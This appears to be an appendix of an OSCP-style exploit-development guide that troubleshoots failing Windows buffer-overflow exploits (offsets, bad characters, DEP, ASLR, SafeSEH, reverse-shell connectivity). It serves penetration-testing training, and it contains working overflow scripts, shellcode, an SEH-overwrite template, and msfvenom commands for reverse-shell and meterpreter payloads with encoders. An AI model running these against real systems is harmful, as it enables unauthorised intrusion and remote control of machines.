Appendix A: Common Error Patterns and Fixes
Purpose: This appendix is your field manual for when exploits break. Every OSCP student encounters these errors. The difference between passing and struggling is knowing exactly what each error means and how to fix it systematically.
Table of Contents
- 1. Error Priority Matrix
- 2. Python-Specific Errors
- 3. Exploit Logic Errors
- 4. Module and Protection Errors
- 5. Network Errors
- 6. Quick-Reference Cheat Sheet
- 7. Systematic Debugging Workflow
1. Error Priority Matrix
When an exploit fails, not all errors are equal. Fix them in this order to avoid wasting time chasing symptoms instead of root causes.
Priority Classification
flowchart TD
A[Exploit Fails] --> B{Python Script Errors?}
B -->|Yes| C[Fix Python Errors FIRST]
B -->|No| D{Connection Established?}
C --> D
D -->|No| E[Fix Network Issues]
D -->|Yes| F{Target Crashes?}
E --> F
F -->|No| G[Fix Offset / Buffer Size]
F -->|Yes| H{EIP Controlled?}
G --> H
H -->|No| I[Recalculate Offset]
H -->|Yes| J{Shellcode Intact?}
I --> J
J -->|No| K[Remove Bad Characters]
J -->|Yes| L{Shellcode Executes?}
K --> L
L -->|No| M[Check DEP / Find Alternative Gadget]
L -->|Yes| N{Reverse Shell Returns?}
M --> N
N -->|No| O[Check LHOST / Firewall / NAT]
N -->|Yes| P[SUCCESS]
Priority Table
| Priority | Error Category | Why First? | Typical Time to Fix |
|---|---|---|---|
| P0 - Critical | Python syntax/runtime errors | Exploit never sends data | 1-5 min |
| P0 - Critical | Network connectivity (can’t reach target) | Nothing else matters without connection | 2-10 min |
| P1 - High | Wrong offset (EIP not controlled) | Foundation of all control | 5-15 min |
| P1 - High | Bad characters corrupting shellcode | Shell silently fails | 10-20 min |
| P2 - Medium | DEP preventing shellcode execution | Need alternative technique | 10-30 min |
| P2 - Medium | Wrong LHOST / NAT issues | Shell can’t connect back | 5-15 min |
| P3 - Low | Timing issues (debugger vs live) | Exploit mostly works | 5-15 min |
| P3 - Low | ASLR / module address drift | Need stable address | 5-10 min |
Golden Rule: Always fix P0 errors before P1, P1 before P2, and so on. A wrong offset will mask DEP issues. Bad characters will mask LHOST issues. Fix in order.
2. Python-Specific Errors
Python 3 introduced strict type handling that breaks many exploit scripts written for Python 2. These are the most common first errors students encounter.
2.1 TypeError: Can’t Concat Bytes to Str
Exact Error Message
TypeError: can't concat bytes to str
or
TypeError: must be real number, not int
TypeError: a bytes-like object is required, not 'str'
Root Cause
Python 3 strictly separates str (Unicode text) and bytes (raw binary data). In Python 2, these were often interchangeable. In exploit development, you must work with bytes when constructing binary payloads.
The most common trigger:
# BROKEN in Python 3
buffer = "A" * 100 + "\x41\x41\x41\x41" # str + str = str, but...
s.send(buffer) # send() expects bytes!
or
# ALSO BROKEN
n = 100
buffer = "A" * n + "\x90" * 16 # mixing str with byte literals
Step-by-Step Fix
Step 1: Wrap all string literals in b"" to make them bytes:
# FIXED
buffer = b"A" * 100 + b"\x41\x41\x41\x41"
s.send(buffer)
Step 2: Use struct.pack() with byte-compatible formats:
import struct
# BROKEN
offset = struct.pack("<L", 0x7c814bb0) # Returns bytes - this is actually fine
buffer = "A" * 200 + offset # BROKEN: str + bytes
# FIXED
buffer = b"A" * 200 + struct.pack("<L", 0x7c814bb0)
Step 3: If you have a mix of string operations, convert at the boundary:
# If you must use str for some reason
str_payload = "A" * 100
buffer = str_payload.encode("latin-1") + b"\x90" * 16
Full Working Template
import socket
import struct
# All payload components as bytes
prefix = b"GET / "
padding = b"A" * 52
eip = struct.pack("<L", 0x7c814bb0)
nopsled = b"\x90" * 16
shellcode = (
b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
b"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
)
suffix = b"\x00" * 2
# Concatenate all bytes - no mixing
buffer = prefix + padding + eip + nopsled + shellcode + suffix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.10.10", 9999))
s.send(buffer)
s.close()
Prevention Tips
| Tip | Details |
|---|---|
Always use b"" |
Make every payload literal a bytes literal from the start |
| Add a type check | Put assert isinstance(buffer, bytes) before s.send() |
| Use a helper | def b(s): return s.encode("latin-1") for quick conversion |
| Shebang | Use #!/usr/bin/env python3 to be explicit about version |
| IDE hint | Configure your editor to flag str/bytes mixing |
Common Variants
TypeError: unsupported operand type(s) for +: 'int' and 'bytes'
Fix: You tried 100 + b"A" instead of b"A" * 100.
TypeError: 'str' does not support the buffer protocol
Fix: s.sendall() and s.send() require bytes, not str.
2.2 UnicodeDecodeError / UnicodeEncodeError
Exact Error Messages
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xfc in position 0: invalid start byte
UnicodeEncodeError: 'utf-8' codec can't encode characters in position 0-3: surrogates not allowed
Root Cause
Shellcode contains raw bytes (0x00-0xFF). When Python tries to interpret these as UTF-8 text, bytes like 0xfc, 0x82, etc. are invalid UTF-8 sequences. This happens when:
- You store shellcode as a string and Python auto-decodes it
- You read shellcode from a file opened in text mode
- You print/debug shellcode and Python tries to display it as text
Step-by-Step Fix
Step 1: Keep shellcode as raw bytes throughout:
# BROKEN - shellcode treated as string
shellcode = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5"
print(shellcode) # May crash on display
# FIXED - explicit bytes
shellcode = b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5"
print(shellcode.hex()) # Safe display
Step 2: If reading from file, use binary mode:
# BROKEN
with open("shellcode.txt", "r") as f:
shellcode = f.read()
# FIXED
with open("shellcode.txt", "rb") as f:
shellcode = f.read()
Step 3: If you must encode/decode, use latin-1 (ISO-8859-1), which maps 0x00-0xFF directly:
# Safe round-trip between str and bytes for raw data
raw_bytes = b"\xfc\xe8\x82\x00"
as_str = raw_bytes.decode("latin-1")
back_to_bytes = as_str.encode("latin-1")
assert raw_bytes == back_to_bytes
Prevention Tips
- Never use UTF-8 for binary payload data
- Always use
latin-1encoding when you must convert between str and bytes for exploit data - Use
.hex()for safe debugging output of byte strings - Open all shellcode files in
"rb"(binary read) mode
2.3 ConnectionRefusedError
Exact Error Message
ConnectionRefusedError: [Errno 111] Connection refused
or on Windows:
ConnectionRefusedError: [WinError 10061] No connection could be made because the target machine actively refused it
Root Cause
The TCP connection was actively rejected. This means:
- The target IP is reachable (network is fine)
- But nothing is listening on the specified port
- Or a firewall is configured to actively reject (not just drop) connections
Step-by-Step Fix
Step 1: Verify the service is running:
# From Kali
nmap -p <PORT> <TARGET_IP>
# Expected: PORT STATE SERVICE
# 9999/tcp open unknown
# If closed:
# 9999/tcp closed unknown
Step 2: Check if the service restarted or crashed:
# On target (if you have access)
netstat -an | grep <PORT>
# or
ss -tlnp | grep <PORT>
Step 3: Verify you’re connecting to the right IP and port:
# Double-check your exploit
TARGET = "10.10.10.10" # Correct?
PORT = 9999 # Correct?
print(f"Connecting to {TARGET}:{PORT}") # Add debug output
s.connect((TARGET, PORT))
Step 4: If the service is vulnerable to DoS, it may have crashed from a previous exploit attempt:
# Restart the service on the target
# Or reboot the VM if needed
Prevention Tips
- Add a connection check before sending the payload:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) try: s.connect((TARGET, PORT)) print("[+] Connection established") except ConnectionRefusedError: print(f"[-] Connection refused - is {TARGET}:{PORT} open?") exit(1) - Always verify with
nmapbefore running exploits - If the target is a VM, ensure it’s powered on and the service is started
2.4 ConnectionResetError
Exact Error Message
ConnectionResetError: [Errno 104] Connection reset by peer
or
ConnectionResetError: [WinError 10054] An existing connection was forcibly closed by the remote host
Root Cause
The connection was established initially, but the target closed it during or after your exploit. Common causes:
- The target crashed (segfault) after receiving your payload - this is actually expected in many exploits
- The target application has input validation and rejected malformed data
- The target has a timeout and closed the idle connection
- An IDS/IPS detected the exploit and killed the connection
Step-by-Step Fix
Step 1: Determine if the crash is expected:
Scenario A: You sent the crash buffer and got ConnectionResetError
-> This is NORMAL. The target crashed as expected.
-> Move on to finding the offset.
Scenario B: You sent the full exploit and got ConnectionResetError
-> The target crashed but your shellcode didn't execute.
-> Check: offset, bad chars, DEP, shellcode integrity.
Step 2: If the crash is unexpected, add graceful handling:
try:
s.send(buffer)
s.recv(1024)
except ConnectionResetError:
print("[!] Connection reset - target likely crashed")
print("[+] This may be expected if testing crash buffer")
except BrokenPipeError:
print("[!] Broken pipe - target closed connection")
finally:
s.close()
Step 3: If you need to keep the connection alive for debugging:
# Add delay to let target process
import time
s.send(buffer)
time.sleep(2) # Give target time to process
try:
response = s.recv(1024)
except:
pass # Connection may be dead - that's ok
Prevention Tips
- Wrap all socket operations in try/except for
ConnectionResetError - Use
s.settimeout(5)to avoid hanging on dead connections - Remember: ConnectionResetError after sending a crash buffer is normal behavior
2.5 Timeout Errors
Exact Error Messages
socket.timeout: timed out
TimeoutError: [Errno 110] Connection timed out
Root Cause
The connection attempt or data transfer exceeded the timeout period. Causes:
- Target is unreachable (wrong IP, network issue, VM off)
- Firewall drops packets (silent drop, no rejection)
- Reverse shell can’t connect back to your handler (most common in OSCP)
- Exploit is too slow (large payload, slow network)
- Handler not listening (you forgot to start
ncormulti/handler)
Step-by-Step Fix
Step 1: For forward connection timeouts (connecting TO target):
# Test basic connectivity
ping <TARGET_IP>
# If ping fails: network/routing issue
# Test port connectivity
nc -zv <TARGET_IP> <PORT>
# If this hangs: firewall dropping packets
# If it says "refused": port closed (see ConnectionRefusedError)
# If it says "open": port is reachable
Step 2: For reverse shell timeouts (target can’t connect BACK to you):
# On Kali, verify your handler is listening
netstat -an | grep <LPORT>
# Should show: LISTEN
# Verify your IP is correct
ip a show tun0
# Use THIS IP as LHOST in your exploit
# Test connectivity from target perspective
# (if you have another shell on target)
nc -zv <KALI_IP> <LPORT>
Step 3: Set explicit timeouts in your exploit:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10) # 10 second timeout
try:
s.connect((TARGET, PORT))
print("[+] Connected")
s.send(buffer)
print("[+] Payload sent")
# Don't try to recv if expecting reverse shell
# The target will connect back to your handler
except socket.timeout:
print("[-] Timeout - target not responding")
except Exception as e:
print(f"[-] Error: {e}")
finally:
s.close()
Prevention Tips
| Scenario | Prevention |
|---|---|
| Forward timeout | Verify IP/port with nmap before exploiting |
| Reverse shell timeout | Start handler BEFORE sending exploit |
| Reverse shell timeout | Double-check LHOST matches your tun0 IP |
| General timeout | Add s.settimeout(10) to all socket operations |
| Slow network | Increase timeout to 30s for lab environments |
2.6 Other Python Gotchas
struct.pack Endianness
import struct
# Little-endian (x86 default) - CORRECT for most exploits
addr = struct.pack("<L", 0x7c814bb0)
# Result: b'\xb0T\x81|'
# Big-endian - WRONG for x86
addr = struct.pack(">L", 0x7c814bb0)
# Result: b'|\x81T\xb0'
# Native endianness - DANGEROUS, depends on system
addr = struct.pack("@L", 0x7c814bb0)
Rule: Always use
"<L"(little-endian unsigned long) for x86 addresses.
Integer vs Bytes in Arithmetic
# BROKEN
offset = 1024
buffer = b"A" * offset + b"\x41" * 4 # Works - int is fine for multiplication
# BROKEN
buffer = b"A" * 100 + 0x41414141 # TypeError! Can't concat int to bytes
# FIXED
buffer = b"A" * 100 + struct.pack("<L", 0x41414141)
f-strings with Bytes
# BROKEN
addr = b"\xb0T\x81|"
print(f"EIP: {addr}") # Prints: EIP: b'\xb0T\x81|' - ugly
# BETTER
addr_int = 0x7c814bb0
print(f"EIP: 0x{addr_int:08x}") # Prints: EIP: 0x7c814bb0
# For bytes display
addr = struct.pack("<L", 0x7c814bb0)
print(f"EIP bytes: {addr.hex()}") # Prints: EIP bytes: b054817c
3. Exploit Logic Errors
These are the core exploit development errors. They mean your Python runs fine, but the exploit doesn’t work on the target.
3.1 EIP Not Overwritten (Wrong Offset)
Symptoms
- Target crashes, but
EIPcontains garbage (not0x41414141or your pattern) EIPcontains part of your pattern but not the controlled value- Changing the buffer size changes where the crash happens
Exact Debugger State
eax=00340000 ebx=00000000 ecx=00000000 edx=77e09000
esi=00000000 edi=00000000 ebp=41414141 esp=0012ff00
eip=7c812fd8 <- NOT 0x41414141 - EIP not controlled!
or
eip=41414141 <- EIP IS controlled but crash is unstable
ebp=???????? <- EBP is garbage
Root Cause
The offset to EIP is incorrect. Your pattern offset calculation was wrong, or the vulnerable function handles input differently than expected.
Step-by-Step Fix
Step 1: Generate a unique pattern:
# Metasploit pattern_create.rb
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000
# Output: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5...
Step 2: Send the pattern and crash the target:
buffer = open("pattern.txt", "rb").read()
s.send(b"TRUN /0 " + buffer + b"\x00")
Step 3: Read the crashed EIP value from the debugger:
# In Immunity Debugger
# View -> Executable Modules -> note the crash
# EIP = 39694438 (example)
Step 4: Calculate the exact offset:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39694438
# [*] Exact match at offset 1024
Step 5: Verify the offset with a test exploit:
buffer = b"A" * 1024 + b"B" * 4 + b"C" * 100
# If correct:
# EIP = 0x42424242 (BBBB)
# EBP = 0x43434343 (CCCC) or contains CCCCs
Step 6: If EIP shows 0x42424242, your offset is correct. If not, repeat with a different length.
Verification Checklist
[ ] Pattern length is LONGER than the buffer size
[ ] Pattern was sent correctly (verify with Wireshark if needed)
[ ] EIP value from debugger was copied correctly
[ ] pattern_offset.rb returned a clean offset (not "approximate")
[ ] Verification with AAAA/BBBB/CCCC confirmed EIP = 0x42424242
Prevention Tips
- Always use
pattern_create.rb+pattern_offset.rb- never guess the offset - Verify with the AAAA/BBBB/CCCC test AFTER calculating
- If the offset seems wrong, try a longer pattern
- Some services strip null bytes - use
pattern_create.rb -l 3000to be safe
3.2 Access Violation at Shellcode (DEP)
Symptoms
- EIP is correctly overwritten and points to your shellcode
- The debugger shows execution reaching the shellcode address
- Then: Access Violation or the process crashes silently
- No shell is received
Exact Debugger State
Immunity Debugger:
(400.39c): Access violation - code c0000005
first chance
eax=0012ff34 ebx=00000000 ecx=00000000 edx=00000000
esi=00000000 edi=00000000 ebp=0012ff00 esp=0012ff08
eip=0012ff34 <- Your shellcode address!
The address in EIP is correct, but execution fails because the memory page is non-executable (DEP/NX protection).
Root Cause
DEP (Data Execution Prevention) / NX (No-eXecute) marks certain memory regions (like the stack) as non-executable. Your shellcode lands on the stack, which is marked RW- (read-write, not execute).
Step-by-Step Fix
Step 1: Confirm DEP is the issue:
In Immunity Debugger:
1. Go to View -> Memory View
2. Find the page containing your shellcode address
3. Check the permissions column
If it shows: RW- -> DEP is blocking execution
If it shows: RWX -> DEP is NOT the issue, look elsewhere
Step 2: Find a DEP-bypass technique:
Option A: Use a module without DEP (preferred)
1. In Immunity: !mona nodep
2. Look for modules that are:
- No ASLR
- No DEP
- No SafeSEH
- Export useful functions
3. Use ROP gadgets from that module
Option B: Use SEH override instead of EIP
If the vulnerability allows SEH chain corruption:
1. Find the SEH offset (different from EIP offset)
2. Use a pop/pop/ret gadget to pivot
3. Shellcode executes from SEH handler, not directly from EIP
Option C: Use ROP to disable DEP
# Find a ROP chain that calls VirtualProtect
# !mona rop --stackpivot
# !mona rop --opcode "push 00 ret"
# Example ROP chain structure:
buffer = (
b"A" * offset +
jmp_to_shellcode + # Initial redirect
rop_chain + # ROP gadgets to call VirtualProtect
b"\x90" * 16 +
shellcode
)
Option D: Find a different jump target
!mona find -s "\xff\xe4" -m *.dll
# Look for jmp esp in modules without DEP
Full DEP Bypass Example (SEH Approach)
import struct
import socket
# SEH-based exploit (bypasses DEP by using different execution path)
target = "10.10.10.10"
port = 9999
# SEH offset (different from EIP offset)
seh_offset = 500
# Module without DEP - found via !mona nodep
# Contains: pop/pop/ret at 0x02aeb774
pop_pop_ret = struct.pack("<L", 0x02aeb774)
# Short jump over SEH record: \xeb\x06\x90\x90
seh_record = b"\xeb\x06\x90\x90"
# Next SEH pointer
next_seh = b"\x00\x00\x00\x00"
# Jump back to shellcode (after SEH chain)
# Found via: !mona find -s "\xff\xe4" -m <module>
jmp_esp = struct.pack("<L", 0x02aeb774)
nopsled = b"\x90" * 32
shellcode = b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5..." # Your shellcode
buffer = (
b"A" * seh_offset +
seh_record + # SEH handler (short jump)
next_seh + # Next SEH
b"A" * 4 + # Padding
jmp_esp + # SEH handler address (executes on exception)
b"A" * 20 + # Padding to shellcode
nopsled +
shellcode
)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send(b"TRUN /0 " + buffer + b"\x00")
s.close()
Prevention Tips
| Check | Command |
|---|---|
| Module has DEP? | !mona modules - check DEP column |
| Stack is executable? | Memory View in Immunity |
| Alternative jump target? | !mona find -s "\xff\xe4" -m <module> |
| SEH available? | !mona seh |
OSCP Tip: Most OSCP targets either don’t have DEP, or have modules without DEP. Use
!mona nodepfirst before attempting complex ROP chains.
3.3 Shellcode Corrupted in Memory (Bad Characters)
Symptoms
- EIP is correctly controlled
- Shellcode address is correct
- But the shellcode in memory doesn’t match what you sent
- Certain bytes are missing, changed, or truncated
- No shell received, or partial/corrupted execution
Root Cause
The vulnerable application filters or modifies certain byte values. Common bad characters:
| Bad Char | Hex | Why It’s Bad |
|---|---|---|
| Null byte | \x00 |
String terminator - truncates payload |
| Carriage return | \r / \x0d |
Protocol delimiter |
| Line feed | \n / \x0a |
Protocol delimiter |
| Space | \x20 |
Sometimes stripped |
| Backslash | \x5c |
Escape character |
| Quote | \x27 / \x22 |
String delimiter |
Step-by-Step Fix
Step 1: Identify bad characters using Mona:
In Immunity Debugger, with breakpoint at shellcode address:
!mona compare -f <shellcode_file> -a <shellcode_address>
# Example:
!mona compare -f C:\msf3\shellcode\sc.bin -a 0x0012FF34
Mona will output:
[*] The content of the file and memory differ
[*] Missing/modified bytes:
\x00 -> NULL byte is a bad character
\x0a -> Line feed is a bad character
\x0d -> Carriage return is a bad character
Step 2: Regenerate shellcode without bad characters:
# msfvenom with bad chars excluded
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=4444 \
-b "\x00\x0a\x0d" -f python -v sc
# Output includes:
# sc = b"\xfc\xe8\x82\x00..." # Wait, still has \x00!
If \x00 can’t be excluded (most shellcodes contain it), you need to:
Step 3: Use an encoder:
# Shikata Ga Nai encoder
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=4444 \
-b "\x00" -e x86/shikata_ga_nai -f python -v sc
# Try multiple times for different outputs
# If still failing, try:
# -e x86/cjk
# -e x86/alpha_upper
# -e x86/countdown
Step 4: If encoding makes shellcode too large:
# Use a smaller payload
msfvenom -p windows/exec CMD="calc.exe" -b "\x00" -f python -v sc
# Or use a staged payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 \
-b "\x00" -f python -v sc
Step 5: Verify the cleaned shellcode:
# Check for bad chars in generated shellcode
bad_chars = [b"\x00", b"\x0a", b"\x0d"]
for bc in bad_chars:
if bc in sc:
print(f"WARNING: {bc.hex()} still in shellcode!")
else:
print(f"OK: {bc.hex()} not in shellcode")
Bad Character Testing Method (Manual)
# Test all 256 bytes to find bad characters
all_bytes = bytes(range(256))
# Send all bytes as part of payload
buffer = b"A" * offset + all_bytes
# In debugger, compare what was sent vs what's in memory
# Any byte that changed or is missing is a bad character
Prevention Tips
- Always test for bad characters - never assume shellcode will survive intact
- Start with
-b "\x00\x0a\x0d"as these are the most common - Use Mona’s
comparecommand - it’s the gold standard - Keep a log of bad chars per target for quick reference
- If shellcode is too large after encoding, try a smaller payload
3.4 No Shell Received (Wrong LHOST)
Symptoms
- Exploit runs without Python errors
- Target crashes (or doesn’t crash visibly)
- Your
nc -lvnp 4444handler shows no incoming connection - Target seems to hang or reset
Root Cause
The reverse shell is trying to connect to the wrong IP address. Common causes:
- Wrong interface IP - Using
eth0IP instead oftun0IP - NAT translation - The target can’t reach your external IP
- Typo in LHOST - Simple copy-paste error
- Shellcode encoded wrong - LHOST bytes in wrong endianness
Step-by-Step Fix
Step 1: Verify your Kali IP:
# Check ALL interfaces
ip a
# Look for tun0 (HTB) or similar VPN interface
# Example output:
# 2: tun0: <POINTOPOINT,MULTICAST,UP,LOWER_UP> mtu 1500
# inet 10.10.14.3 peer 10.10.14.3/32 scope global tun0
# THIS is your LHOST: 10.10.14.3
Step 2: Verify the target can reach you:
# On Kali, start a listener
nc -lvnp 4444
# From another shell on the target (if available), test:
nc -zv 10.10.14.3 4444
# Or from Kali, check routing:
route -n
# or
ip route
Step 3: Verify LHOST in shellcode:
# The LHOST bytes in shellcode should be in little-endian
# For 10.10.14.3 = 0x0a0a0e03
# In memory: 03 0e 0a 0a
# Check your shellcode:
import struct
expected = struct.pack("<L", 0x0a0a0e03) # 10.10.14.3
print(f"Expected LHOST bytes: {expected.hex()}")
# Should print: 030e0a0a
# Search for this in your shellcode
if expected in sc:
print("[+] LHOST found in shellcode")
else:
print("[-] LHOST NOT found in shellcode - regenerate!")
Step 4: Common LHOST mistakes:
# WRONG - using eth0 IP
LHOST = "192.168.1.100" # Your home/lab IP
# WRONG - using target IP
LHOST = "10.10.10.10" # Target's IP
# CORRECT - using tun0/VPN IP
LHOST = "10.10.14.3" # Your Kali VPN IP
Prevention Tips
- Always use
ip ato confirm your LHOST before generating shellcode - Add a debug print:
print(f"[+] LHOST={LHOST}, LPORT={LPORT}") - Use
arp -ato verify the target has your IP in its ARP table - On HTB: LHOST is always your
tun0IP
3.5 Connection Timed Out (Firewall)
Symptoms
- Exploit seems to work (target crashes, EIP controlled)
- But the reverse shell connection times out
nc -lvnp 4444shows nothingnmapshows the port is filtered (not open)
Root Cause
A firewall is blocking the connection. This could be:
- Target’s Windows Firewall blocking outbound connections
- Network firewall between target and attacker
- Specific port blocked (try different LPORT)
Step-by-Step Fix
Step 1: Try common allowed ports:
# Instead of 4444, try:
nc -lvnp 80 # HTTP
nc -lvnp 443 # HTTPS
nc -lvnp 53 # DNS
nc -lvnp 8080 # Alt HTTP
Regenerate shellcode with the new port:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=80 \
-f python -v sc
Step 2: Use a different payload type:
# Bind shell instead of reverse
msfvenom -p windows/shell_bind_tcp LPORT=4444 -f python -v sc
# Then connect TO the target
nc <TARGET_IP> 4444
Step 3: Use encoded/obfuscated payloads:
# Try meterpreter (may bypass simple firewalls)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=443 \
-f python -v sc
Step 4: Check if ICMP is allowed (for diagnostics):
ping <TARGET_IP>
# If ping works but TCP doesn't: TCP-specific firewall rule
Prevention Tips
- Have multiple LPORT options ready (4444, 80, 443, 8080, 9090)
- Try both reverse and bind shells
- Use
nmap -sUto check if UDP ports are open (alternative) - On Windows targets, check if Windows Firewall is enabled
3.6 Buffer Overflow Triggers Different Crash Each Time
Symptoms
- Same exploit script, same input
- But EIP contains different values each run
- Sometimes
0x41414141, sometimes garbage - Offset calculation seems inconsistent
Root Cause
- Non-deterministic buffer handling - The application processes input differently based on timing or state
- Multiple buffer copies - Input is copied to multiple locations
- Thread race conditions - Multi-threaded processing
- Heap vs stack - Heap sprays are non-deterministic
Step-by-Step Fix
Step 1: Run the exploit multiple times and record EIP:
Run 1: EIP = 0x41414141
Run 2: EIP = 0x00430043
Run 3: EIP = 0x41414141
Run 4: EIP = 0x77E09000
Step 2: Add delays to stabilize timing:
import time
s.connect((target, port))
time.sleep(1) # Let service stabilize
s.send(buffer)
time.sleep(2) # Let exploit process
s.close()
Step 3: If using SEH, the SEH offset may be more stable than EIP:
!mona seh
# Check if SEH chain is consistently overwritten
Step 4: Use a larger nop sled for reliability:
nopsled = b"\x90" * 64 # Increase from 16 to 64
Prevention Tips
- Run exploits 3-5 times to verify consistency
- Add
time.sleep()calls for timing-sensitive targets - Use larger nop sleds (32-64 bytes) for reliability
- If inconsistent, try SEH override instead of direct EIP overwrite
4. Module and Protection Errors
4.1 Module Address Changed (ASLR)
Symptoms
- Exploit worked yesterday but not today
- The module address you found is no longer valid
!mona modulesshows different base addresses each run
Exact Error
# Your exploit uses:
jmp_esp = 0x7c814bb0 # From kernel32.dll
# But after reboot:
!mona modules
# kernel32.dll loaded at 0x762a0000 (different!)
# Your jmp_esp is now invalid
Root Cause
ASLR (Address Space Layout Randomization) randomizes the base address of modules on each load. If the module has ASLR enabled, its address changes between reboots.
Step-by-Step Fix
Step 1: Find modules without ASLR:
In Immunity Debugger:
!mona modules
# Look for modules with:
# ASLR: False
# Rebase: False
# SafeSEH: False (if using SEH)
# Example output:
# [0x02ae0000] openttd.dll -> 1 non-aslr module(s)
# Base: 0x02ae0000, Size: 0x00c20000, Path: C:\game\openttd.dll
Step 2: Use a non-ASLR module for your jump address:
!mona find -s "\xff\xe4" -m openttd.dll
# Result: 0x02bfa36d : jmp esp | module: openttd (non-aslr)
Step 3: Verify the address is stable:
1. Reboot the target VM
2. Restart the service
3. Attach Immunity Debugger
4. Run: !mona modules
5. Confirm the module is at the SAME base address
Prevention Tips
| Check | Command |
|---|---|
| List all modules | !mona modules |
| Find non-ASLR modules | !mona noaslr |
| Find jmp esp in specific module | !mona find -s "\xff\xe4" -m <module> |
| Verify address stability | Reboot and recheck |
OSCP Reality: Most OSCP targets have at least one non-ASLR module. Use
!mona noaslras your first step after finding the offset.
4.2 SEH Chain Corrupted (SafeSEH)
Symptoms
- SEH offset is correct
- But the SEH handler doesn’t execute
- Crash happens before your handler runs
- Error mentions “invalid exception handler”
Root Cause
SafeSEH ensures that SEH handlers only point to valid functions within approved modules. If your SEH handler address points to a module with SafeSEH enabled, Windows rejects it.
Step-by-Step Fix
Step 1: Check which modules have SafeSEH:
!mona modules
# Look for SafeSEH column:
# SafeSEH: Yes -> CANNOT use this module for SEH handler
# SafeSEH: No -> CAN use this module
Step 2: Find a module without SafeSEH:
!mona nosafeseh
# Use a pop/pop/ret from this module
!mona find -s "\x5[0-9a-f]\x5[0-9a-f]\xc3" -m <module>
Step 3: If ALL modules have SafeSEH, use alternative approaches:
Option A: Use EIP overwrite instead of SEH
Option B: Find a valid SEH handler in a SafeSEH module
!mona seh -c "<callback>"
Option C: Use a different vulnerability
Prevention Tips
- Always check SafeSEH status before planning SEH exploits
!mona nosafesehis your friend- If SafeSEH blocks all options, pivot to EIP-based exploitation
4.3 Exploit Works in Debugger but Not Live (Timing)
Symptoms
- Exploit works perfectly when Immunity Debugger is attached
- But fails when running the target normally
- Or works sometimes but not consistently
Root Cause
- Debugger changes timing - Attached debugger slows execution, changing race conditions
- Debugger disables protections - Some protections behave differently under debug
- Memory layout differs - Debugger loads additional modules
- Network timing - Debugger pauses change network packet timing
Step-by-Step Fix
Step 1: Test without debugger:
# Add extensive logging
import time, logging
logging.basicConfig(level=logging.INFO)
logging.info(f"Connecting to {target}:{port}")
s.connect((target, port))
logging.info("Connected")
time.sleep(1)
logging.info(f"Sending payload ({len(buffer)} bytes)")
s.send(b"TRUN /0 " + buffer + b"\x00")
logging.info("Payload sent")
s.close()
logging.info("Connection closed")
Step 2: Add timing adjustments:
# If exploit needs more time:
time.sleep(2) # Before sending
s.send(payload)
time.sleep(3) # After sending
# If exploit needs less time (race condition):
# Remove all sleep calls and send immediately
Step 3: Use a spawn-then-attach approach:
1. Start the target service WITHOUT debugger
2. Send the exploit
3. If it fails, try:
a. Start service
b. Attach debugger quickly
c. Send exploit
d. Compare behavior
Step 4: Check if the service restarts:
# The service may crash and restart
# Add a loop to retry:
for i in range(5):
try:
s = socket.socket()
s.connect((target, port))
s.send(payload)
break
except:
time.sleep(2)
print(f"Retry {i+1}")
Prevention Tips
- Always test the exploit without the debugger attached before declaring success
- Use
time.sleep()liberally during development, remove for final version - Log every step for live troubleshooting
- Some targets need the service restarted between attempts
4.4 Stack Cookie / GS Protection
Symptoms
- Buffer overflows the buffer
- But execution never reaches your overwritten EIP
- Crash message mentions “buffer overflow detected” or “security check failed”
Root Cause
/GS (Buffer Security Check) places a cookie value before the return address on the stack. Before returning, the function checks if the cookie is intact. If corrupted, it calls __security_check_fail and terminates.
Step-by-Step Fix
Step 1: Confirm /GS is active:
!mona gs
# Output shows which functions have /GS protection
# If your target function is listed, /GS is blocking you
Step 2: Workaround options:
Option A: Overflow past the cookie
- Send MORE data to overflow past the cookie and reach EIP
- The cookie check happens BEFORE return, but if you control
the SEH chain, you can trigger before the check
Option B: Use SEH override
- SEH handlers execute on exception, before the /GS check
- Corrupt the SEH chain instead of the return address
Option C: Find a different vulnerability
- Format string, heap overflow, or integer overflow
- These may not be protected by /GS
Prevention Tips
- Run
!mona gsearly to check for /GS protection - If /GS is present, plan for SEH override from the start
- /GS doesn’t protect against all overflow types
5. Network Errors
5.1 Port Blocked
Symptoms
nmap -p 9999 10.10.10.10
PORT STATE SERVICE
9999/tcp filtered unknown
filtered means a firewall is dropping packets (not rejecting them).
Step-by-Step Fix
Step 1: Try alternative ports:
nmap -p 1-10000 10.10.10.10
# Find any open port
Step 2: If the service is on a non-standard port, check the target:
# The service may have restarted on a different port
# Check Nmap scan results from earlier
Step 3: Use a different protocol:
# Try UDP
nmap -sU -p 9999 10.10.10.10
5.2 NAT Issues
Symptoms
- Target can reach your eth0 IP but not tun0
- Or vice versa
- Reverse shell connects to wrong interface
Step-by-Step Fix
# Check all your IPs
ip a
# Test each one:
nc -lvnp 4444 -s 10.10.14.3 # Bind to specific interface
# On target, test connectivity to each:
nc -zv 10.10.14.3 4444
nc -zv 192.168.1.100 4444
5.3 Routing Problems
Symptoms
- Ping works but TCP doesn’t
- Or TCP works but reverse shell doesn’t
Step-by-Step Fix
# Check routing table
route -n
# or
ip route
# Verify the return path exists
# The target needs a route BACK to your IP
# On HTB, this is usually automatic via tun0
# If not, check:
